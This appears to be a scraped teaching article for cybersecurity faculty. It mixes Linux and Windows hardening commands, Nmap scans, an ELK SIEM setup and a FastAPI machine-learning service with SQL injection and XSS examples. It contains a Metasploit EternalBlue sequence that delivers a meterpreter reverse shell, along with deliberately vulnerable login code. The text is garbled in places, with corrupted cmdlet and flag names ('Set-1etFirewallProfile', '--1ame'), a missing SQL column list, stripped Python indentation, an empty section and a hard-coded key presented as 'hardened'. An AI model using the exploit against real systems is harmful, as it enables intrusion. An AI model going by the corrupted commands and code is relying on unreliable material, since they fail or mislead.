You Should Know:

  1. Cybersecurity Core Competencies: Network Hardening, Penetration Testing, and SIEM Deployment

The Cyber Security specialization at LIET demands faculty who can bridge theoretical cryptography and network security with hands-on offensive and defensive operations. Modern cybersecurity education requires proficiency in vulnerability assessment, intrusion detection, and security information and event management (SIEM) systems. Below are verified commands and configurations that every cybersecurity educator should master and impart to students.

Linux Network Hardening & Firewall Configuration (iptables/nftables)

Securing Linux servers is foundational. Use iptables to set default drop policies and allow only necessary traffic:

 Set default policies to DROP
sudo iptables -P INPUT DROP
sudo iptables -P FORWARD DROP
sudo iptables -P OUTPUT ACCEPT

Allow established connections
sudo iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT

Allow SSH (port 22) from specific subnet
sudo iptables -A INPUT -p tcp --dport 22 -s 192.168.1.0/24 -j ACCEPT

Allow HTTP/HTTPS
sudo iptables -A INPUT -p tcp --dport 80 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 443 -j ACCEPT

Log dropped packets for forensic analysis
sudo iptables -A INPUT -j LOG --log-prefix "IPTables-Dropped: " --log-level 4

Save rules (Debian/Ubuntu)
sudo iptables-save > /etc/iptables/rules.v4

For modern systems, nftables offers a more scalable alternative:

 Create a new ruleset
sudo nft add table inet filter
sudo nft add chain inet filter input { type filter hook input priority 0\; policy drop \; }
sudo nft add rule inet filter input ct state established,related accept
sudo nft add rule inet filter input tcp dport 22 ip saddr 192.168.1.0/24 accept
sudo nft list ruleset

Windows Security Hardening (PowerShell)

Windows endpoints in academic labs require systematic hardening. Use PowerShell to enforce security policies:

 Enable Windows Defender real-time protection
Set-MpPreference -DisableRealtimeMonitoring $false

Configure Windows Firewall to block all inbound by default
Set-1etFirewallProfile -Profile Domain,Public,Private -DefaultInboundAction Block

Allow RDP only from specific IP range
New-1etFirewallRule -DisplayName "Allow RDP from Lab Subnet" -Direction Inbound -Protocol TCP -LocalPort 3389 -RemoteAddress 192.168.1.0/24 -Action Allow

Enable BitLocker encryption for all drives
Enable-BitLocker -MountPoint "C:" -EncryptionMethod XtsAes256 -SkipHardwareTest

Disable SMBv1 (vulnerable to EternalBlue)
Disable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol

Penetration Testing with Nmap and Metasploit

Faculty must demonstrate practical exploitation techniques. A typical network reconnaissance workflow:

 Comprehensive network scan with OS and service detection
nmap -sS -sV -O -p- -T4 192.168.1.0/24

Vulnerability script scanning
nmap --script vuln 192.168.1.100

Metasploit console for exploitation
msfconsole
msf6 > search eternalblue
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 > set RHOSTS 192.168.1.100
msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 > set LHOST 192.168.1.50
msf6 > exploit

SIEM Deployment (ELK Stack)

Teaching security monitoring requires a functioning SIEM. Deploy the ELK stack on Ubuntu:

 Install Elasticsearch, Logstash, Kibana
wget -qO - https://artifacts.elastic.co/GPG-KEY-elasticsearch | sudo apt-key add -
sudo apt-get install apt-transport-https
echo "deb https://artifacts.elastic.co/packages/7.x/apt stable main" | sudo tee /etc/apt/sources.list.d/elastic-7.x.list
sudo apt-get update && sudo apt-get install elasticsearch logstash kibana

Configure Filebeat to ship system logs
sudo apt-get install filebeat
sudo filebeat modules enable system
sudo filebeat setup --pipelines --modules system
sudo service filebeat start
  1. AI & Machine Learning Pipeline: Model Development, Containerization, and API Security

conda activate ml_env

Install core ML libraries
pip install numpy pandas scikit-learn tensorflow torch transformers fastapi uvicorn

Step 2: Train a Classification Model

 train_model.py
import pandas as pd
from sklearn.model_selection import train_test_split
from sklearn.ensemble import RandomForestClassifier
from sklearn.metrics import accuracy_score, classification_report
import joblib

Load dataset (example: breast cancer)
from sklearn.datasets import load_breast_cancer
data = load_breast_cancer()
X_train, X_test, y_train, y_test = train_test_split(
data.data, data.target, test_size=0.2, random_state=42
)

Train model
model = RandomForestClassifier(n_estimators=100, max_depth=10, random_state=42)
model.fit(X_train, y_train)

Evaluate
y_pred = model.predict(X_test)
print(f"Accuracy: {accuracy_score(y_test, y_pred):.4f}")
print(classification_report(y_test, y_pred, target_names=data.target_names))

Save model
joblib.dump(model, 'model.joblib')

Step 3: Containerization with Docker

 Dockerfile
FROM python:3.10-slim
WORKDIR /app
COPY requirements.txt .
RUN pip install --1o-cache-dir -r requirements.txt
COPY . .
EXPOSE 8000
CMD ["uvicorn", "api:app", "--host", "0.0.0.0", "--port", "8000"]

 Build and run container
docker build -t ml-model-api .
docker run -d -p 8000:8000 --1ame ml-api ml-model-api

Step 4: Secure REST API with FastAPI

 api.py
from fastapi import FastAPI, HTTPException, Depends
from fastapi.security import HTTPBearer, HTTPAuthorizationCredentials
import joblib
import numpy as np
from pydantic import BaseModel

app = FastAPI()
security = HTTPBearer()
model = joblib.load('model.joblib')

class PredictionInput(BaseModel):
features: list

API Key validation (hardened)
VALID_API_KEYS = {"sk-live-abc123xyz"}  Store in environment variables in production

def verify_api_key(credentials: HTTPAuthorizationCredentials = Depends(security)):
if credentials.credentials not in VALID_API_KEYS:
raise HTTPException(status_code=401, detail="Invalid API Key")
return credentials.credentials

@app.post("/predict")
async def predict(input_data: PredictionInput, api_key: str = Depends(verify_api_key)):
try:
features = np.array(input_data.features).reshape(1, -1)
prediction = model.predict(features)
probability = model.predict_proba(features)
return {"prediction": int(prediction[bash]), "probability": probability.tolist()}
except Exception as e:
raise HTTPException(status_code=400, detail=str(e))

Step 5: API Security Hardening

5. Vulnerability Exploitation and Mitigation: Web Application Security

Web application security is critical for the Cyber Security curriculum. Below are common vulnerabilities and their mitigation strategies.

SQL Injection Demonstration and Prevention

Vulnerable code (Python/Flask):

 VULNERABLE - DO NOT USE IN PRODUCTION
@app.route("/login")
def login():
username = request.args.get('username')
query = f"SELECT  FROM users WHERE username = '{username}'"
result = db.execute(query)

Mitigation with parameterized queries:

 SECURE - Use parameterized queries
@app.route("/login")
def login():
username = request.args.get('username')
query = "SELECT  FROM users WHERE username = %s"
result = db.execute(query, (username,))

Cross-Site Scripting (XSS) Prevention

// VULNERABLE
document.getElementById('output').innerHTML = userInput;

// SECURE - Use textContent instead
document.getElementById('output').textContent = userInput;

// Or sanitize with DOMPurify
const sanitized = DOMPurify.sanitize(userInput);
document.getElementById('output').innerHTML = sanitized;

OWASP Top 10 Security Headers (Nginx configuration)

 /etc/nginx/conf.d/security-headers.conf
add_header X-Frame-Options "SAMEORIGIN" always;
add_header X-Content-Type-Options "nosniff" always;
